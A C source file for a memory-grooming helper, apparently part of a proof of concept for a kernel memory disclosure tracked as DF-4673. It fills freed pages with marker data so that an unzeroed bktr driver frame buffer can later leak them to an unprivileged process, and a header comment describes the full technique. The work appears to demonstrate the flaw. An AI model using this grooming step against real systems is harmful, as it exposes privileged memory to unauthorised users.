DF-4673 / spray.c
/* * spray.c -- DF-4673 grooming helper (run as ROOT, then it exits). * * Dirts `mb` MiB of anonymous memory with a recognizable per-page marker, * then exits: the anon pages go to PQ_FREE/PQ_CACHE with contents intact. * A subsequent contigmalloc (the METEORSETGEO grow path) recycles some of * them into the unzeroed bktr frame buffer, and the unprivileged PoC maps * them with mmap() and reads the "root secret" back -- a privilege-boundary * kernel memory disclosure. * * Build: cc -O2 -Wall -o spray spray.c */ #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #define MAGIC0 0x524F4F5453454352ULL /* "ROOTSECR" */ #define MAGIC3 0x4446343637332DULL /* "DF4673-" */ int main(int argc, char **argv) { size_t mb, len, off; uint64_t *q; int tag, page = 0; if (argc < 3) { fprintf(stderr, "usage: spray <MiB> <tag>\n"); return 2; } mb = (size_t)atoi(argv[1]); tag = atoi(argv[2]); len = mb << 20; q = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (q == MAP_FAILED) { perror("mmap"); return 3; } for (off = 0; off < len; off += 4096, page++) { uint64_t *p = (uint64_t *)((char *)q + off); int i; p[0] = MAGIC0; p[1] = (uint64_t)(uint32_t)tag; p[2] = (uint64_t)(uint32_t)page; p[3] = MAGIC3; for (i = 4; i < 512; i++) p[i] = 0xAA00000000000000ULL | (uint32_t)page; } printf("spray: dirtied %zu MiB with tag=%d markers, exiting " "(pages -> PQ_FREE/PQ_CACHE, contents intact)\n", mb, tag); /* munmap so the pages are actually freed on exit (no COW corpse) */ munmap(q, len); return 0; } |